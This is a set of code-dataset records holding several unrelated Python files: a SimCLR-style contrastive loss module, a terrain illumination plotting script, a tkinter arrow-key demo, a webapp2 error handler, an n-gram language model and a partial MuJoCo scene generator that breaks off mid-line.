similarity_matrix[corr_mask].view(Bn, 2*n_series, 1)\n second_highest_similarity = similarity_matrix[left_mask].view(Bn, 2*n_series, 2*n_series-2)\n diff = second_highest_similarity - highest_similarity\n margin_loss = weight * torch.log(1 + torch.exp((diff / self.args.shufflerank_theta).clip(max=5.0))).mean()\n\n margin_logits = torch.cat([highest_similarity, second_highest_similarity], dim=2).view(-1, 2*n_series-1)\n margin_labels = torch.zeros(margin_logits.size(0)).long().cuda()\n\n # margin_loss = weight * F.relu(second_highest_similarity - highest_similarity).mean()\n # if self.cnt % 100 == 0:\n # correct_rate = ((second_highest_similarity - highest_similarity) < 0)\n # print(f\"<<<<<<< margin_acc \")\n\n # sim_loss = weight * (1- highest_similarity).mean()\n\n ret = {\n f\"{prefix}margin_logits\": margin_logits,\n f\"{prefix}margin_labels\": margin_labels,\n f\"{prefix}margin_contrast_loss\": margin_loss\n }\n\n return ret\n\n def calc_tc_contrast_loss(self, features, prefix=\"tc_\"):\n B, n_views, n_series, dim = features.size()\n assert n_series == self.n_series and dim == self.series_dim\n rank = 0\n world_size = 1\n if self.distributed:\n features = torch.cat(GatherLayer.apply(features), dim=0)\n rank = dist.get_rank()\n world_size = dist.get_world_size()\n\n # rank = 0\n N = features.size(0)\n N_per_rank = N // world_size\n i_base = N_per_rank * rank\n row_features = features.view(N, n_views, n_series, dim)[i_base:i_base+N_per_rank].permute(1,0,2,3).contiguous().view(n_views*N_per_rank, n_series, dim)\n col_features = features.view(N, n_views, n_series, dim).permute(1, 0, 2, 3).contiguous().view(n_views * N, n_series, dim)\n\n series_similarity_matrix = torch.matmul(row_features.unsqueeze(1), col_features.unsqueeze(0).transpose(3,2)).contiguous() # (2n, 2N, n_series, n_series)\n\n col_labels = torch.cat([torch.arange(N) for i in range(n_views)], dim=0) # (2, N) -> (2*N,)\n row_labels = torch.cat([torch.arange(i_base, i_base+N_per_rank) for i in range(n_views)], dim=0)\n labels = (row_labels.unsqueeze(1) == col_labels.unsqueeze(0)).float() # (2n, 2N)\n labels = labels.cuda()\n\n similarity_matrix = series_similarity_matrix.mean(dim=(2,3))\n similarity_matrix = similarity_matrix.contiguous()\n\n # discard the main diagonal from both: labels and similarities matrix\n row_inst = torch.arange(i_base, i_base+N_per_rank).unsqueeze(0).expand(n_views, N_per_rank)\n row_padded_ind = torch.arange(n_views).unsqueeze(1)*N\n row_inst = (row_inst + row_padded_ind).view(-1).unsqueeze(1)\n col_inst = torch.arange(N*n_views).unsqueeze(0)\n mask = (row_inst == col_inst).cuda()\n\n labels = labels[~mask].view(labels.shape[0], -1) # (2n, 2N-1)\n similarity_matrix = similarity_matrix[~mask].view(similarity_matrix.shape[0], -1) # (2n, 2N-1)\n # assert similarity_matrix.shape == labels.shape\n\n # select and combine multiple positives\n positives = similarity_matrix[labels.bool()].view(labels.shape[0], -1)\n\n # select only the negatives the negatives\n negatives = similarity_matrix[~labels.bool()].view(similarity_matrix.shape[0], -1)\n\n logits = torch.cat([positives, negatives], dim=1)\n labels = torch.zeros(logits.shape[0]).long().cuda()\n\n logits = logits / self.aligned_T\n\n contrast_loss = self.criterion(logits, labels)\n\n ret = {\n f\"{prefix}logits\": logits,\n f\"{prefix}labels\": labels,\n f\"{prefix}contrast_loss\": contrast_loss\n }\n\n return ret\n\n def forward(self, block):\n '''\n modified from simCLR\n https://github.com/sthalles/SimCLR/blob/1848fc934ad844ae630e6c452300433fe99acfd9/simclr.py#L26\n '''\n block = block.contiguous()\n B = block.size(0)\n assert block.size(1) == 3\n extra_block = block[:, 2]\n (batch_size, _, C, T, H, W) = block.shape # [B,N,C,T,H,W]\n n_views = 2\n N_views = 3\n assert n_views == 2\n x = block.view(-1, *(block.size()[2:])) # (B*n, ...)\n features = x\n for i, mod in enumerate(self.encoder_q):\n features = mod(features)\n if i == 1:\n backbone_features = features\n\n features = F.normalize(features, dim=1).squeeze().view(B, N_views, self.dim)\n features = features[:, :2].contiguous()\n ret = dict()\n if self.with_clip:\n ret.update(self.calc_contrast_loss(features, n_views))\n\n # get series projections\n series_features = self.series_proj_head(backbone_features).view(B, N_views, self.n_series, self.series_dim)\n series_features = F.normalize(series_features, dim=3)\n contrast_series_features = series_features[:, :n_views].contiguous()\n series_features = series_features.view(B * N_views, self.n_series, self.series_dim)\n if self.with_tc:\n ret.update(self.calc_tc_contrast_loss(\n contrast_series_features.view(B, n_views, self.n_series, self.series_dim)))\n\n if self.with_sr:\n orig_series_features = series_features.view(B, N_views, self.n_series, self.series_dim)[:,[0, 2]].contiguous()\n #### get time-series features and contrast them\n # shuffle input clips\n x = extra_block.view(B, C, self.n_series, T // self.n_series, H, W)\n sample_indices = torch.tensor(\n np.array([np.random.permutation(self.n_series) for i in range(B)])\n ).long().cuda()\n sample_gather_indices = sample_indices.view(B, 1, self.n_series, 1, 1, 1).expand_as(x)\n shuffled_x = torch.gather(x, 2, sample_gather_indices).contiguous().view(B, C, T, H, W) # (B*n, C, T, H, W)\n shuffled_features = shuffled_x\n for i, mod in enumerate(self.encoder_q):\n if i > 1: break\n shuffled_features = mod(shuffled_features)\n shuffled_series_features = self.series_proj_head(shuffled_features).view(B, self.n_series, self.series_dim)\n sample_scatter_indices = sample_indices.view(B, self.n_series, 1).expand_as(shuffled_series_features)\n calibrated_shuffled_series_features = torch.scatter(\n shuffled_series_features, 1, sample_scatter_indices, shuffled_series_features)\\\n .contiguous().view(B, self.n_series, self.series_dim)\n calibrated_shuffled_series_features = F.normalize(calibrated_shuffled_series_features, dim=2)\n # separated weighting the loss\n orig_shuffled_series_features = torch.stack([orig_series_features[:, 0], calibrated_shuffled_series_features], dim=2).contiguous() # (B, n_series, 2, dim)\n aug_shuffled_series_features = torch.stack([orig_series_features[:, 1], calibrated_shuffled_series_features], dim=2).contiguous() # (B, n_series, 2, dim)\n ret.update(self.calc_ranking_loss(orig_shuffled_series_features, 2, 'aug_ranking_', weight=0.5))\n ret.update(self.calc_ranking_loss(aug_shuffled_series_features, 2, 'unaug_ranking_', weight=0.5))\n\n return ret","sub_path":"model/simclr.py","file_name":"simclr.py","file_ext":"py","file_size_in_byte":17692,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"443230607","text":"import sys\nsys.path.append(\"/home/george/PyLandtools/\")\nfrom datetime import datetime\nfrom matplotlib import pyplot as plt\nfrom matplotlib import cm\nfrom mpl_toolkits.mplot3d import Axes3D\nimport numpy as np\nimport L1P40R37\nimport L1Terrain\n\ndatabasepath = \"/media/WDBook/P40R37/LT5\"\nrun_param = L1P40R37.L1RunParams_P40R37()\nwrp_win = L1P40R37.WarpWindow_StAnaCenter()\nscenename = 'LT50400372011169PAC01'\n\nr = np.pi/180.\nsolz = 45.0*r\nsolaz = 0.*r\nmin_slo = 0.*r\nmax_slo = 70.*r\nmin_asp = 0.*r\nmax_asp = 359.*r\nn = 100\nslo_arr = np.linspace(min_slo, max_slo, n)\nasp_arr = np.linspace(min_asp, max_asp, n)\n\n\nct = L1Terrain.Costheta(databasepath,scenename,run_param,wrp_win)\ntd = L1Terrain.TFDirect(databasepath,scenename,run_param,wrp_win)\ntfj = L1Terrain.TFDiffuse_LJRD(databasepath,scenename,run_param,wrp_win)\ntft = L1Terrain.TFDiffuse_TMCLS(databasepath,scenename,run_param,wrp_win)\ntft2 = L1Terrain.TFDiffuse_TMCLS2(databasepath,scenename,run_param,wrp_win)\n\n\nct_arr = ct.calc_core(asp_arr, slo_arr, solz, solaz)\ntd_arr = td.calc_core(ct_arr, solz)\ntfj_arr = tfj.calc_core(slo_arr)\ntft_arr = tft.calc_core(slo_arr, ct_arr, solz)\ntft2_arr = tft2.calc_core(slo_arr,ct_arr, solz)\n\nct_mtx = np.zeros((n,n))\ni = 0\nfor slo in slo_arr:\n j = 0\n for asp in asp_arr:\n ct_mtx[i,j] = ct.calc_core(asp,slo,solz,solaz)\n j += 1\n i += 1\n\ns, a = np.meshgrid(slo_arr, asp_arr, indexing=\"ij\")\n\nfig = plt.figure()\nax = fig.gca(projection='3d')\nax.plot_surface(s*1./r, a*1./r, ct_mtx, rstride=1, cstride=1, cmap=cm.jet, linewidth=0, antialiased=False)\nax.set_xlabel(\"Slope [deg]\")\nax.set_ylabel(\"Aspect [deg]\")\nax.set_zlabel(\"Cos(T) [sr-1]\")\n\ntd_mtx = td.calc_core(ct_mtx, solz)\nfig2 = plt.figure()\nax2 = fig2.gca(projection='3d')\nax2.plot_surface(s*1./r, a*1./r, td_mtx, rstride=1, cstride=1, cmap=cm.jet, linewidth=0, antialiased=False)\nax2.set_xlabel(\"Slope [deg]\")\nax2.set_ylabel(\"Aspect [deg]\")\nax2.set_zlabel(\"Direct Illum. Factor\")\n\ntfj_mtx = tfj.calc_core(s)\nfig3 = plt.figure()\nax3 = fig3.gca(projection='3d')\nax3.plot_surface(s*1./r, a*1./r, tfj_mtx, rstride=1, cstride=1, cmap=cm.jet, linewidth=0, antialiased=False)\nax3.set_xlabel(\"Slope [deg]\")\nax3.set_ylabel(\"Aspect [deg]\")\nax3.set_zlabel(\"Diffuse LJ Illum. Factor\")\n\n\ntft_mtx = tft.calc_core(s,ct_mtx, solz)\nfig4 = plt.figure()\nax4 = fig4.gca(projection='3d')\nax4.plot_surface(s*1./r, a*1./r, tft_mtx, rstride=1, cstride=1, cmap=cm.jet, linewidth=0, antialiased=False)\nax4.set_xlabel(\"Slope [deg]\")\nax4.set_ylabel(\"Aspect [deg]\")\nax4.set_zlabel(\"Diffuse TC Illum. Factor\")\n\n\nfig5 = plt.figure()\nax5 = fig5.gca(projection='3d')\nax5.plot_surface(s*1./r, a*1./r, td_mtx, rstride=1, cstride=1, cmap=cm.afmhot, linewidth=0, antialiased=False)\nax5.plot_surface(s*1./r, a*1./r, tft_mtx, rstride=1, cstride=1, cmap=cm.PuBu_r, linewidth=0, antialiased=False)\nax5.set_xlabel(\"Slope [deg]\")\nax5.set_ylabel(\"Aspect [deg]\")\nax5.set_zlabel(\"Diffuse TC Illum. Factor\")\n\n\nplt.show()","sub_path":"for_paper/sensitivity_terrain.py","file_name":"sensitivity_terrain.py","file_ext":"py","file_size_in_byte":2939,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"38907020","text":"#!/usr/bin/env python\n#-*- coding: utf-8 -*-\n#-------------------------------------------------------------------------------\n# Name: tkinter bind et event\n# Purpose:\n#\n# Author: Jean\n#\n# Created: 23/01/2018\n# Copyright: (c) Jean 2018\n# Licence: \n#-------------------------------------------------------------------------------\nfrom tkinter import *\n\"\"\"\n : Click gauche\n : Click milieu\n : Click droit\n : Double click droit\n : Double click gauche\n : Pression sur une touche\n : Pression sur la touche A (minuscule)\n : Pression sur la touche A (majuscule)\n : Pression sur la touche entrée\n : Touche Echap\n : Pression sur la flèche directionnelle haut\n : Pression sur la flèche directionnelle bas\n : Lorsque qu'on relache le click\n : Mouvement de la souris\n : Mouvement de la souris avec click gauche\n : Entrée du curseur dans un widget\n : Sortie du curseur dans un widget\n : Redimensionnement de la fenêtre\n : Ouverture et iconification de la fenêtre\n : Utilisation de la roulette\n\"\"\"\nfenetre = Tk()\n# fonction appellée lorsque l'utilisateur presse une touche\ndef clavier(event):\n global coords\n\n touche = event.keysym\n\n if touche == \"Up\":\n coords = (coords[0], coords[1] - 10)\n elif touche == \"Down\":\n coords = (coords[0], coords[1] + 10)\n elif touche == \"Right\":\n coords = (coords[0] + 10, coords[1])\n elif touche == \"Left\":\n coords = (coords[0] -10, coords[1])\n # changement de coordonnées pour le rectangle\n canvas.coords(rectangle, coords[0], coords[1], coords[0]+25, coords[1]+25)\n\n# création du canvas\ncanvas = Canvas(fenetre, width=250, height=250, bg=\"ivory\")\n# coordonnées initiales\ncoords = (0, 0)\n# création du rectangle\nrectangle = canvas.create_rectangle(0,0,25,25,fill=\"violet\")\n# ajout du bond sur les touches du clavier\ncanvas.focus_set()\ncanvas.bind(\"\", clavier)\n# création du canvas\ncanvas.pack()\n\n\nmainloop()\ndef main():\n pass\n\nif __name__ == '__main__':\n main()\n","sub_path":"tkinter bouge objet par les touches fleches.py","file_name":"tkinter bouge objet par les touches fleches.py","file_ext":"py","file_size_in_byte":2391,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"651619585","text":"__author__ = 'Qingchuan'\nimport webapp2\nimport jinja2\nimport os\n\nJINJA_ENVIRONMENT = jinja2.Environment(\n loader=jinja2.FileSystemLoader(os.path.dirname(__file__)),\n extensions=['jinja2.ext.autoescape'],\n autoescape=True)\n\n\nclass MainHandler(webapp2.RequestHandler):\n def get(self):\n Error_code = self.request.get(\"Error_code\")\n error_msg = \"\"\n if(Error_code == \"404\"):\n error_msg = \"Stream Not Found\"\n elif(Error_code == \"406\"):\n error_msg = \"The stream you want to delete is not exist\"\n template_values = {\n \"error_msg\": error_msg,\n }\n template = JINJA_ENVIRONMENT.get_template('myhtml/Errorpage.html')\n self.response.write(template.render(template_values))\n\napp = webapp2.WSGIApplication([\n ('/myhtml/Errorpage.html', MainHandler),\n], debug=True)\n","sub_path":"Phase1/Errorpage.py","file_name":"Errorpage.py","file_ext":"py","file_size_in_byte":854,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"593886723","text":"# https://docs.python.org/3/library/collections.html\nfrom collections import defaultdict\nfrom math import log2\nfrom numpy.random import uniform\n\n\n# N-grama se utiliza n-1 palabras para calcular las probs.\nclass NGram(object):\n\n def __init__(self, n, sents):\n \"\"\"\n n -- order of the model.\n sents -- list of sentences, each one being a list of tokens.\n \"\"\"\n assert n > 0\n self.n = n\n self.counts = counts = defaultdict(int)\n self.start_tag = [\"\"]\n self.end_tag = [\"\"]\n\n for sent in sents:\n # For each sentence\n # Add n-1 start_tags at the beginning (for a n model).\n # Add one end_tag.\n sent_tag = self.start_tag*(n-1) + sent + self.end_tag\n\n for i in range(len(sent_tag) - n + 1):\n ngram = tuple(sent_tag[i: i + n])\n counts[ngram] += 1\n counts[ngram[:-1]] += 1\n\n def cond_prob(self, token, prev_tokens=None):\n \"\"\"Conditional probability of a token.\n\n token -- the token.\n prev_tokens -- the previous n-1 tokens (optional only if n = 1).\n \"\"\"\n n = self.n\n if not prev_tokens:\n prev_tokens = []\n assert len(prev_tokens) == n - 1\n\n tokens = prev_tokens + [token]\n\n if n == 1:\n return (float(self.counts[tuple(tokens)]) / self.counts[()])\n if self.counts[tuple(prev_tokens)] == 0:\n return 0\n else:\n return (float(self.counts[tuple(tokens)]) /\n self.counts[tuple(prev_tokens)])\n\n def count(self, tokens):\n \"\"\"Count for an n-gram or (n-1)-gram.\n\n tokens -- the n-gram or (n-1)-gram tuple.\n \"\"\"\n return self.counts[tuple(tokens)]\n\n def sent_prob(self, sent):\n \"\"\"Probability of a sentence. Warning: subject to underflow problems.\n\n sent -- the sentence as a list of tokens.\n \"\"\"\n prob = 1.0\n # Add n-1 start_tags at the beginning (for a n model).\n # Add one end_tag.\n sent_tag = self.start_tag*(self.n-1) + sent + self.end_tag\n\n for i in range(self.n-1, len(sent_tag)):\n # Unigram Model\n if self.n == 1:\n prob *= self.cond_prob(sent_tag[i])\n else:\n # n > 1\n # i-(n-1) = i + 1 - n\n prob *= self.cond_prob(sent_tag[i], sent_tag[i-(self.n - 1):i])\n return prob\n\n def sent_log_prob(self, sent):\n \"\"\"Log-probability of a sentence.\n\n sent -- the sentence as a list of tokens.\n \"\"\"\n\n log_prob = 0.0\n sent_tag = self.start_tag*(self.n-1) + sent + self.end_tag\n\n for i in range(self.n-1, len(sent_tag)):\n # Unigram Model\n if self.n == 1:\n prob = self.cond_prob(sent_tag[i])\n if prob > 0:\n log_prob += log2(prob)\n else:\n log_prob = float(\"-inf\")\n else:\n # n > 1\n prob = self.cond_prob(sent_tag[i], sent_tag[i-(self.n-1):i])\n if prob > 0:\n log_prob += log2(prob)\n else:\n log_prob += float(\"-inf\")\n\n return log_prob\n\n def log_prob(self, sents):\n \"\"\"Compute the sum of the log probabilities of sentences.\n sents -- list of sentences, each one being a list of tokens.\n \"\"\"\n prob = 0\n for sent in sents:\n prob += self.sent_log_prob(sent)\n return prob\n\n def perplexity(self, sents):\n \"\"\"Compute the perplexity of sentences.\n sents -- list of sentences, each one being a list of tokens.\n \"\"\"\n return 2 ** (-self.cross_entropy(sents))\n\n def cross_entropy(self, sents):\n \"\"\" Compute the cross entropy of the model.\n sents -- list of sentences, each one being a list of tokens.\n \"\"\"\n words = 0\n for sent in sents:\n words += len(sent)\n\n cross_entropy = self.log_prob(sents) / words\n\n return cross_entropy\n\n\nclass NGramGenerator:\n\n def __init__(self, model):\n \"\"\"\n model -- n-gram model.\n \"\"\"\n self.model = model\n n = self.model.n\n\n ngrams = set()\n for key in model.counts:\n if len(key) == n:\n ngrams.add(key)\n\n # Create dict of dicts\n self.probs = probs = defaultdict(dict)\n self.sorted_probs = sorted_probs = defaultdict(list)\n\n for key in ngrams:\n word = key[n-1]\n tail = key[:-1]\n # If doesn't exist the tail, defaultdict create the dict\n probs[tail][word] = model.cond_prob(word, list(tail))\n\n # Copy prob to sorted_probs\n for p in probs:\n for elem in probs[p]:\n sorted_probs[p].append((elem, probs[tuple(p)][elem]))\n\n # Sort\n if n > 1:\n for key, words in sorted_probs.items():\n words.sort(key=lambda p: p[1])\n words.sort(key=lambda p: p[0])\n else:\n sorted_probs[()].sort(key=lambda p: p[1])\n sorted_probs[()].sort(key=lambda p: p[0])\n\n def generate_sent(self):\n \"\"\"Randomly generate a sentence.\"\"\"\n\n prev_tokens = (self.model.n-1)*self.model.start_tag\n sentence = []\n\n word = self.generate_token(tuple(prev_tokens))\n\n # While don't generate the end_tag, keep generating words\n while word != self.model.end_tag[0]:\n sentence.append(word)\n if self.model.n > 1:\n # Update the prev_tokens\n prev_tokens = prev_tokens[1:] + [word]\n word = self.generate_token(tuple(prev_tokens))\n\n return sentence\n\n def generate_token(self, prev_tokens=None):\n \"\"\"Randomly generate a token, given prev_tokens.\n\n prev_tokens -- the previous n-1 tokens (optional only if n = 1).\n \"\"\"\n list_tokens = self.sorted_probs[prev_tokens]\n s = sum(w for c, w in list_tokens)\n r = uniform(0, s)\n prob = 0\n word = \"\"\n\n for elem, p in list_tokens:\n if prob + p > r:\n word = elem\n break\n else:\n prob += p\n\n return word\n\n\nclass AddOneNGram(NGram):\n\n \"\"\"\n Todos los métodos de NGram.\n \"\"\"\n def __init__(self, n, sents):\n super().__init__(n, sents)\n self.n = n\n self.word_set = word_set = set()\n\n for sent in sents:\n for word in sent:\n word_set.add(word)\n\n word_set.add(self.end_tag[0])\n self.word_types = len(word_set)\n\n def cond_prob(self, token, prev_tokens=None):\n \"\"\"Conditional probability add-one of a token.\n\n token -- the token.\n prev_tokens -- the previous n-1 tokens (optional only if n = 1).\n \"\"\"\n\n n = self.n\n if not prev_tokens:\n prev_tokens = []\n assert len(prev_tokens) == n - 1\n tokens = prev_tokens + [token]\n return (float(self.counts[tuple(tokens)] + 1) /\n (self.counts[tuple(prev_tokens)] + self.V()))\n\n def V(self):\n \"\"\"Size of the vocabulary.\n \"\"\"\n return self.word_types\n\n\nclass InterpolatedNGram(NGram):\n\n def __init__(self, n, sents, gamma=None, addone=True):\n \"\"\"\n n -- order of the model.\n sents -- list of sentences, each one being a list of tokens.\n gamma -- interpolation hyper-parameter (if not given, estimate using\n held-out data).\n addone -- whether to use addone smoothing (default: True).\n \"\"\"\n super().__init__(n, sents)\n self.n = n\n self.gamma = gamma\n\n # Crop held-out data\n if gamma is None:\n ten = int(90 * len(sents) / 100)\n held_out = sents[ten:]\n sents = sents[:ten]\n\n self.models = models = []\n print(\"Computing NGrams...\")\n # Add one NGram for each n\n if addone:\n models.append(AddOneNGram(1, sents))\n else:\n models.append(NGram(1, sents))\n\n for i in range(2, n + 1):\n models.append(NGram(i, sents))\n\n if gamma is None:\n # Estimate gamma with the held-out data\n self.gamma = self.estimate_gamma(held_out)\n\n def _lambda(self, prev_tokens):\n \"\"\"\n Compute all lambda given the prev_tokens\n Return list with all the lambdas.\n prev_tokens -- list of previous tokens.\n \"\"\"\n gamma = self.gamma\n lambdas = list()\n models = self.models\n prev_tokens = tuple(prev_tokens)\n for i in range(0, len(prev_tokens) - 1):\n # Getting the correspondly (to the N-gram) segment\n # of the prev_tokens\n this = prev_tokens[i: -1]\n\n model = models[len(this) - 1]\n count = model.count(this)\n\n # Calculate and save the lambda\n if count != 0 or gamma != 0:\n lambdas.append((1 - sum(lambdas) * (count / (count + gamma))))\n\n # Save the lambda correspondly to the nth gram\n lambdas.append(1 - sum(lambdas))\n return(lambdas)\n\n def estimate_gamma(self, held_out):\n \"\"\"\n sents --\n held_out -- list of sentences, each one being a list of tokens.\n \"\"\"\n print(\"Estimate gamma...\")\n\n n = self.n\n # It's a unigram\n if n == 1:\n return 1\n\n ITER = 10\n BASE = 10\n VALUES = [BASE ** x for x in range(ITER)]\n\n self.gamma = 1\n best_gamma = 1\n max_prob = self.log_prob(held_out)\n\n for i in VALUES:\n self.gamma = i\n prob = self.log_prob(held_out)\n if prob > max_prob:\n max_prob = prob\n best_gamma = self.gamma\n print(\"Gamma:{} prob: {}\".format(self.gamma, prob))\n\n self.gamma = best_gamma\n print(\"Gamma: {}\".format(self.gamma))\n return self.gamma\n\n def cond_prob(self, token, prev_tokens=None):\n \"\"\"Conditional probability of a token.\n\n token -- the token.\n prev_tokens -- the previous n-1 tokens (optional only if n = 1).\n \"\"\"\n if not prev_tokens:\n prev_tokens = []\n\n tokens = prev_tokens + [token]\n\n models = self.models\n prob = 0\n lambdas = self._lambda(tokens)\n for i in range(len(lambdas)):\n q = models[len(tokens[i:-1])].cond_prob(token, prev_tokens[i:])\n prob += lambdas[i] * q\n\n return prob\n\n def cond_prob_ML(self, token, prev_tokens=None):\n \"\"\"Maximum likelihood Conditional probability of a token.\n\n token -- the token.\n prev_tokens -- the previous n-1 tokens (optional only if n = 1).\n \"\"\"\n if not prev_tokens:\n prev_tokens = []\n\n tokens = prev_tokens + [token]\n\n if len(prev_tokens) == 0:\n return (float(self.counts[tuple(tokens)]) / self.counts[()])\n if self.counts[tuple(prev_tokens)] == 0:\n return 0\n return (float(self.counts[tuple(tokens)]) /\n self.counts[tuple(prev_tokens)])\n\n def sent_log_prob(self, sent):\n \"\"\"Log-probability of a sentence.\n\n sent -- the sentence as a list of tokens.\n \"\"\"\n log_prob = 0.0\n sent_tag = self.start_tag*(self.n-1) + sent + self.end_tag\n\n for i in range(self.n-1, len(sent_tag)):\n # Unigram Model\n if self.n == 1:\n prob = self.cond_prob(sent_tag[i])\n if prob > 0:\n log_prob += log2(prob)\n else:\n log_prob = float(\"-inf\")\n else:\n # n > 1\n prob = self.cond_prob(sent_tag[i], sent_tag[i-(self.n-1):i])\n if prob > 0:\n log_prob += log2(prob)\n else:\n log_prob += float(\"-inf\")\n\n return log_prob\n\n def log_prob(self, sents):\n \"\"\"Compute the sum of the log probabilities of sentences.\n sents -- list of sentences, each one being a list of tokens.\n \"\"\"\n prob = 0\n for sent in sents:\n prob += self.sent_log_prob(sent)\n return prob\n\n\nclass BackOffNGram(NGram):\n\n def __init__(self, n, sents, beta=None, addone=True):\n \"\"\"\n Back-off NGram model with discounting as described by Michael Collins.\n\n n -- order of the model.\n sents -- list of sentences, each one being a list of tokens.\n beta -- discounting hyper-parameter (if not given, estimate using\n held-out data).\n addone -- whether to use addone smoothing (default: True).\n \"\"\"\n # Crop held-out data\n if beta is None:\n ten = int(90 * len(sents) / 100)\n held_out = sents[ten:]\n sents = sents[:ten]\n\n self.models = models = []\n self.addone = addone\n if addone:\n models.append(AddOneNGram(1, sents))\n else:\n models.append(NGram(1, sents))\n\n for i in range(1, n):\n models.append(NGram(i + 1, sents))\n\n super().__init__(n, train)\n\n self.precalculate_A()\n\n if beta is None:\n self.estimate_beta()\n\n def precalculate_A(self):\n pass\n\n def A(self, tokens):\n \"\"\"Set of words with counts > 0 for a k-gram with 0 < k < n.\n\n tokens -- the k-gram tuple.\n \"\"\"\n\n def alpha(self, tokens):\n \"\"\"Missing probability mass for a k-gram with 0 < k < n.\n\n tokens -- the k-gram tuple.\n \"\"\"\n\n def denom(self, tokens):\n \"\"\"Normalization factor for a k-gram with 0 < k < n.\n\n tokens -- the k-gram tuple.\n \"\"\"\n","sub_path":"languagemodeling/ngram.py","file_name":"ngram.py","file_ext":"py","file_size_in_byte":13854,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"39431408","text":"import argparse\nimport copy\nimport os\nimport xml.etree.ElementTree as ET\n\nimport numpy as np\nimport trimesh\nfrom shapely.geometry import MultiPoint\n\n\n# from SyntheticArticulatedData.generation.utils import get_cam_params\n\n\ndef make_mesh_watertight(file_in, file_out):\n mesh = trimesh.load_mesh(file_in)\n # print(\"Is Mesh convex? {}\".format(trimesh.convex.is_convex(mesh)))\n if not trimesh.convex.is_convex(mesh):\n bnds = np.array(mesh.bounding_box.extents)\n bad_cols = np.nonzero(bnds < 1e-6)\n if bad_cols[0].size > 0:\n try:\n mesh2 = trimesh.creation.extrude_triangulation(np.delete(mesh.vertices, bad_cols, axis=1),\n mesh.faces, height=0.001)\n # mesh2 = trimesh.convex.convex_hull(mesh2.vertices, qhull_options='Pp Qt Qw Qbb Qu Qg')\n mesh2 = trimesh.convex.convex_hull(mesh2.vertices, qhull_options='QbB Pp Qt Qw')\n except IndexError:\n poly = MultiPoint(np.delete(mesh.vertices, bad_cols, axis=1)).convex_hull\n mesh2 = trimesh.creation.extrude_polygon(poly, height=0.001)\n else:\n mesh2 = trimesh.convex.convex_hull(mesh.vertices, qhull_options='QbB Pp Qt Qw')\n\n if trimesh.convex.is_convex(mesh2): # Succeeded ?\n with open(file_out, 'wb') as f:\n trimesh.exchange.export.export_mesh(mesh2, file_obj=f, file_type='stl')\n else:\n return False\n return True\n\n\ndef make_mesh_watertight_obj(file_in, file_out):\n try:\n mesh = trimesh.load(file_in)\n mesh2 = copy.copy(mesh)\n if not isinstance(mesh, trimesh.Scene):\n bnds = np.array(mesh.bounding_box.extents)\n bad_cols = np.nonzero(bnds < 1e-5)\n if bad_cols[0].size > 0:\n new_vert = copy.copy(mesh.vertices)\n for k in bad_cols:\n new_vert[:, k[0]] += np.random.uniform(low=1e-6, high=2e-6, size=len(mesh.vertices))\n mesh2 = trimesh.convex.convex_hull(new_vert)\n\n with open(file_out, 'wb') as f:\n trimesh.exchange.export.export_mesh(mesh2, file_obj=f, file_type='stl')\n except TypeError:\n raise TypeError(\"Will need to use externally generated .stl file for this\")\n\n\ndef generate_mujoco_scene_xml(urdf_file, xml_file, obj_type='microwave'):\n # Load xml tree of both files\n urdf_tree = ET.parse(urdf_file)\n urdf_root = urdf_tree.getroot()\n\n xml_tree = ET.parse(xml_file)\n xml_root = xml_tree.getroot()\n\n # znear, zfar, fovy = get_cam_params() # Calibration parameters\n znear, zfar, fovy = 0.1, 12, 85\n\n xml_root = add_texture(xml_root)\n xml_root = copy_mesh_name_tags(urdf_root, xml_root, obj_type)\n xml_root = update_complier_tag(xml_root)\n xml_root = add_gravity_tag(xml_root, val=[0., 0., 0.])\n xml_root = add_contact_tag(xml_root)\n xml_root = add_statistic_tag(xml_root)\n xml_root = add_global_visual_properties(xml_root, clip_range=[znear, zfar])\n xml_root = add_base_body(xml_root)\n xml_root = add_camera(xml_root, name='external_camera_0', fovy=fovy)\n xml_root = add_actuator_tags(xml_root)\n\n # save new xml file\n xml_tree.write(xml_file, xml_declaration=True)\n\n\ndef copy_mesh_name_tags(urdf_root, xml_root, obj_type):\n # NOT ADDING THIS FEATURE AS IT NEEDS MORE WORK. URDF CAN CONTAIN MULTIPLE VISUAL TAGS WITH SAME NAME, WHICH WON\"T\n # WORK IN MUJOCO. NEED A BETTER SOLUTION\n geom_names = []\n restricted = []\n\n if obj_type == 'microwave':\n geom_names = ['body', 'frame', 'door', 'glass', 'handle', 'tray']\n restricted = ['button']\n elif obj_type == 'dishwasher':\n geom_names = ['door', 'display_panel', 'surface', 'frame', 'shelf', 'handle']\n restricted = ['button', 'leaf']\n elif obj_type == 'oven':\n geom_names = ['door', 'door_frame', 'tray', 'handle', 'glass']\n restricted = ['button', 'knob']\n elif obj_type in ['drawer', 'drawer2' ]:\n geom_names = ['cabinet_door', 'drawer', 'handle', 'frame', 'panel', 'shelf']\n restricted = ['button', 'leaf']\n\n\n # # find the name in the urdf file\n visElemList = {}\n for vis in urdf_root.iter(\"visual\"):\n m_name = vis.find('geometry').find('mesh').attrib['filename'].replace('textured_objs/', '').replace('.stl', '')\n text_name = vis.attrib['name']\n if np.size(np.where([x in text_name for x in geom_names])[0]) > 0 and \\\n np.size(np.where([y in text_name for y in restricted])[0]) == 0:\n text_name = geom_names[np.where([x in text_name for x in geom_names])[0][0]]\n visElemList[m_name] = text_name\n geom_names.remove(text_name)\n # visElemList[m_name] = text_name\n\n # find and update the tag in the xml file\n for body in xml_root.iter('body'):\n for geom in body.findall('geom'):\n if geom.attrib['mesh'] in visElemList.keys():\n geom.set(\"name\", visElemList[geom.attrib['mesh']])\n\n if 'handle' in visElemList[geom.attrib['mesh']]:\n geom.set(\"material\", \"geomHandle\")\n\n return xml_root\n\n\ndef add_actuator_tags(xml_root):\n xml_root[-1].tail = \"\\n\\t\"\n act = ET.SubElement(xml_root, 'actuator')\n act.tail = \"\\n\"\n act.text = \"\\n\\t\\t\"\n\n for i, jnt in enumerate(xml_root.iter(\"joint\")):\n # Add actuator node as a child of root node\n vel = ET.SubElement(act, \"velocity\")\n vel.set('joint', jnt.attrib['name'])\n vel.set('name', 'act_' + str(i))\n vel.set('kv', 